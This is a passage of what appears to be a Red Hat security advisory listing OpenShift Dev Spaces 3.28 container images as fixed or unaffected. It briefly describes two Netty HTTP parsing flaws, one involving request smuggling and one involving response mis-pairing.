| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x | — |
Vendor Fix
fix
Workaround
|
Known not affected
49 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Netty's HttpObjectDecoder. A remote attacker can exploit this by sending a specially crafted HTTP/1.0 request that includes both `Transfer-Encoding: chunked` and `Content-Length` headers. While Netty correctly strips the conflicting `Content-Length` header for HTTP/1.1 messages, this guard is absent for HTTP/1.0. This can lead to HTTP request smuggling, where downstream proxies or handlers may misinterpret message boundaries, potentially allowing an attacker to bypass security controls or access unauthorized information.
7.2 (High)
Affected products
Fixed
12 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:af397f83a7394b676299501672623ca9c01b8351db0d73531b0bf325e55558f6_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:b73dc3b1ac96a877aba609233dc0ae60685716b272e3dc1f8db59c23c438049d_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:cef4269f4d91814bc144c94718d6aa59c4e03eab341eebf87ec05e38e7b7e49f_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:06d061cdda5ac9ddd48647c2c86b5ceb5a5f25acc7e314ebb319a690af588209_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:80842e498a91358d73a511ec25acc2a6d26dca76c9f775108778700e8541c252_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:a062fd2a510100fc03a5f14102104a34b2e24bddc5661ac95ed39dad6a5f46b9_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/pluginregistry-rhel9@sha256:fbdf611c5aac4e33644ed8eb5a72b88b5c5a6690f24a64a3cff7002a483827d8_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:4f63b37a50013481f95ca70ea3e0baf257601aa86ba6dd3efe5ad039b3170f04_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:56f4b3132a1785e7a323fc9fb5e1d2040d30a7c8d81fd00a42d619a8881e9492_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:e2d0551322d379e77a72218fb37244f8a187e6ff52ae6f61e7b673c2c23ce39f_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/server-rhel9@sha256:f8200f2b4b8c5cb5a5aef1fa6f8f15297cb720512a0df784629129afc0d5810a_s390x | — |
Vendor Fix
fix
Workaround
|
Known not affected
49 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:7e20cd1d638296bcab93a704bfce3ff7cf6c0f7e632e07e69fcacfedf9e8b120_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:83e1013b0ce89c1f4fc0038c1cb7eab2fd541a6fb1de6a0596fe669a76cde1f4_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:9d47eee451c3d7c7a0c2d83824849ac4053110107997a41df26fe28f9b4749de_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-rhel9@sha256:bb9e332650eb73ce20accc25d8bc73bb935e39e0bc6a9b0e7b163707ae25ce6f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:0ce3e6baa0af251b5ae5e8cc64de363aa144c420e1416a2a7bf522aefe0b6dd3_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:324758a4c214f743ba3f38eee3ae2c3f42eac80ac4c10801e103fc531d73cf51_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:82994d108c21e3f53c2d87bdec8ddcdb0c0f81c7f1ed93ac996fe83046ea8ed1_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/code-sshd-rhel9@sha256:b1b3d7416bc5c1609fa890229fc0a0809bc1906813bb4834f57dc610f88974c1_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:5bcd49999db0f7ac5fbc2461c7ac50dec267ee8b4f64c95bdcd746188ab0bfa0_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:62ecbc41b3f1d3cd81e9593fdacac8397d1fc3f616717b247346ac218b7a2ff7_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:7ee3d2e13995479495aa2a2f3b7a8f8133f7b69d0e753b00e3fe2ee00416b3a9_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/configbump-rhel9@sha256:b52e83ecc17aefda4a83671c267b3086bb5f92d78259c3e3b2b389042bac7230_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:1cef563af30567f7aba3baeb6fa94494f93ac07350a23fabaa67d079f780f640_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ae7dc192f8ca8c78dc6eb12ef2846b45057e22e183207743aad9261fb5adcb6e_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:ca07c7ae5cdcf93df21348d92c4828e4615b324f2f765907b3459f0d5090c628_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/dashboard-rhel9@sha256:dee20a799ccf5bae94ed50fd2d79ea162cd7384990427db93281fe590d6c7767_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-operator-bundle@sha256:f78d91e983f0f8be019382c2fb620a655bf9f8204bd839e9bfb9c35e1ab8fc90_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4757ac1e8c5a53e2d9a7ce896dbcc1232806a47a29470285c6fee9778a2f0b25_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:4e4a72be08cf691ee40dc79d2e625a5b59cf709e15219537ee04a1f03a3df23e_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:a5b3c16ca82c2585debbef262d8de80bb8566384c916915d9fce92d233268d1c_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/devspaces-rhel9-operator@sha256:dd4b506d04a2e7be2c62c53a7e1f60fe828ba7f0fc2aab7f6a752f1a4c4e699b_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:21d1288562fc757e4714cde2c253c077fba1b7762ab4041e8b3f55d9da1e7b82_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:2423f169dcd795c9326d59d953b4507485bf2ef8971f066969dfb2ca921bdf1f_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:5e4c074f39614f529e79c8de011446a0b621fb189485eff0061f95f99f0950f8_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/imagepuller-rhel9@sha256:f1cf981295bdfddb68c8cb83e03da7cbec9aada7dce16586a1508351b11c2e73_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:0de97d2e0e6589cfd3889eca0284154e857c4deef4ab45420e0d75bfc8030252_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:12a042cb9e94c6502b61c6d08a49bc8b81f8d3e23932b08c29566906508801d8_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:25137cf516214eac04d5f1fd2ad9a38658e8fc741600b50b4c44f00db437cf01_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/jetbrains-ide-rhel9@sha256:5cb0df6d628f764eead0f67206b7251b737932ae04f81dd8c1fd416d2c1be455_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:060059363ac7718e9599e0612c95b583b563fac5a6616dfecc9c42413b2a3f56_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:1bd73bae94af4a5be1b62e555df3a1b863f22c427f95d2bbbd24e4ffcce7a264_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:baff02ec968933899873d989d8faf4fb27aedcbca5406009408638678a832b96_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/multicluster-redirector-rhel9@sha256:e9347202b67b4a2ad17b820af7148d4473764996ce1368d5460b6fff2d79935a_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:0912cc02b70a7cc6895cdfde15647865de99f03880715c6b8e584adf70c14707_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1d4269b06d396a7ec1e952daa47a4bd5b00915d6d0cd5a3270fe471a6a75517b_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:1e2b5bff8974b54038cf635faaa293458bcfa2e75a9ee57e2712b30d9b35e0ac_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/traefik-rhel9@sha256:6798e67f7d39b831b6c947a50c4420c9d92160079bbd2d62d07b9f991be4abfd_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:1a56d8592fe048ebe0c1549ec0249a5f61842cbb5c58545649b394df98fbae06_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:224939e501ffed4ffe09a5198138486e72b04d1486787a6c4c3abee8cd7dffba_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:c10a24ed873306c38e5d7aa96d9ffa9b71b2e6dac2ee18f557af008ef460d708_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel10@sha256:cb73c78e8214996408490b36f176be3b6d0047a116f705478afd162c8260292d_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:06172d66fc92096c6d1b517ac2edfc35e06255859152ea8aa83ea57bb789bb0b_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:2268f482a70624ca1670675df27f0a6a4e7ea41669f021059ebafbc0465d5411_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:505295ab2811eb723a334501a853eb238c2ec96073f36296226d58fa12aefd3c_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-base-rhel9@sha256:93ae4574a68c0f16acf2146ab09b56e446fd012697c1194cfa9f4ac717a300c2_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:2f672c4b1bc77639a5ccf2f7f923691aefe2ab2e6e76de830a0727633c80af17_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:763e7470768ecf6551d9d9af7a7a48605ceafaad3e001f48ae08ce94d6facb42_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:80c9c0c3aa02ae7b447c33a8bb9aff07fc243b2b484db28975b79b9007612629_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/udi-rhel9@sha256:8a4c7ae0ffaa1f6d3b87c60d27817a3d1636a5609cf159dce66d80c2f0ad6f9b_arm64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Netty, an asynchronous, event-driven network application framework. A remote attacker could exploit this vulnerability by sending a specific sequence of HTTP responses (103, followed by a 200 with a GET body, then another 200 for a HEAD request) when the client pipelines GET then HEAD requests. This can cause the HttpClientCodec to incorrectly pair responses, leading to subsequent HTTP responses being parsed from the wrong offset. This issue may result in information disclosure or other data integrity problems due to misinterpretation of network traffic.
7.3 (High)
Affected products
Fixed
12 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat OpenShift Dev Spaces 3.28:registry.redhat.io/devspaces/openvsx-rhel9@sha256:3eda021137370af8e8cf2c996a7a10733824f1d23e56534efd4f46aa40ce7777_arm64 | — |
Vendor Fix
fix
|
|
